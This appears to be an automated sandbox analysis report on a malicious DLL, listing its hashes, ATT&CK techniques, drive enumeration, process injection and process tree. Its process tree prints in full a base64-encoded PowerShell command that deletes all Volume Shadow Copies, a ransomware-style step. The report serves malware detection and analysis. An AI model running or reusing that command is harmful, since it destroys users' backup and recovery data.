e430479d1ca03a1bc5414e28f6cdbb301939c4c95547492cdbe27b0a123344ea

Resubmissions

13/10/2022, 14:58

221013-schnjsadg410

24/01/2022, 00:49

220124-a6gdgaghgn10

Analysis

max time kernel
137s
max time network
167s
platform
windows10-2004_x64
resource
win10v2004-20220812-en
resource tags

arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
submitted
13/10/2022, 14:58

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
e430479d1ca03a1bc5414e28f6cdbb301939c4c95547492cdbe27b0a123344ea.dll
Size 164KB
Sample221013-schnjsadg4
SHA256 e430479d1ca03a1bc5414e28f6cdbb301939c4c95547492cdbe27b0a123344ea
MD5 cfefcc2edc5c54c74b76e7d1d29e69b2
SHA1 7423c57db390def08154b77e2b5e043d92d320c7
SHA512 62d16f32a1c7d1063aa092a418555bd979f43367310f4ea4cd2eadd4edf4bbde474401980281d3d1fe3788245a25bab8280ce1ac1ffd83eee0ed38f026ececfd
SSDEEP 3072:efufigrn2u3DsLEai2XGmSQEjv5TpF+OjN57YHONxUrtUYU/99:efufJ28DSRi2W5jh7xz78O//
MD5 SHA1 SHA512 SSDEEP

Score

6^/10

Malware Config

Signatures

Enumerates connected drives 3 TTPs 24 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\N:	rundll32.exe
File opened (read-only)	\??\S:	rundll32.exe
File opened (read-only)	\??\T:	rundll32.exe
File opened (read-only)	\??\U:	rundll32.exe
File opened (read-only)	\??\W:	rundll32.exe
File opened (read-only)	\??\E:	rundll32.exe
File opened (read-only)	\??\K:	rundll32.exe
File opened (read-only)	\??\L:	rundll32.exe
File opened (read-only)	\??\X:	rundll32.exe
File opened (read-only)	\??\F:	rundll32.exe
File opened (read-only)	\??\I:	rundll32.exe
File opened (read-only)	\??\V:	rundll32.exe
File opened (read-only)	\??\O:	rundll32.exe
File opened (read-only)	\??\P:	rundll32.exe
File opened (read-only)	\??\R:	rundll32.exe
File opened (read-only)	\??\Y:	rundll32.exe
File opened (read-only)	\??\A:	rundll32.exe
File opened (read-only)	\??\B:	rundll32.exe
File opened (read-only)	\??\J:	rundll32.exe
File opened (read-only)	\??\Q:	rundll32.exe
File opened (read-only)	\??\Z:	rundll32.exe
File opened (read-only)	\??\G:	rundll32.exe
File opened (read-only)	\??\H:	rundll32.exe
File opened (read-only)	\??\M:	rundll32.exe

Program crash 1 IoCs

pid	pid_target	Process	procid_target
3880	1864	WerFault.exe	10

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
764	rundll32.exe
764	rundll32.exe
1188	powershell.exe
1188	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	1188	powershell.exe
Token: SeBackupPrivilege	3548	vssvc.exe
Token: SeRestorePrivilege	3548	vssvc.exe
Token: SeAuditPrivilege	3548	vssvc.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 4760 wrote to memory of 764	4760	rundll32.exe	82
PID 4760 wrote to memory of 764	4760	rundll32.exe	82
PID 4760 wrote to memory of 764	4760	rundll32.exe	82
PID 764 wrote to memory of 1188	764	rundll32.exe	83
PID 764 wrote to memory of 1188	764	rundll32.exe	83

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\e430479d1ca03a1bc5414e28f6cdbb301939c4c95547492cdbe27b0a123344ea.dll,#1
1⤵
- Suspicious use of WriteProcessMemory
PID:4760
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe C:\Users\Admin\AppData\Local\Temp\e430479d1ca03a1bc5414e28f6cdbb301939c4c95547492cdbe27b0a123344ea.dll,#1
  2⤵
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:764
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1188

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:2420

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3548

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 460 -p 1864 -ip 1864
1⤵
PID:2224

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 1864 -s 2444
1⤵
- Program crash
PID:3880

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:2976

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1188-134-0x000002944A7F0000-0x000002944A812000-memory.dmp

Download

memory/1188-135-0x00007FFA79170000-0x00007FFA79C31000-memory.dmp

Download

memory/1188-136-0x00007FFA79170000-0x00007FFA79C31000-memory.dmp

Download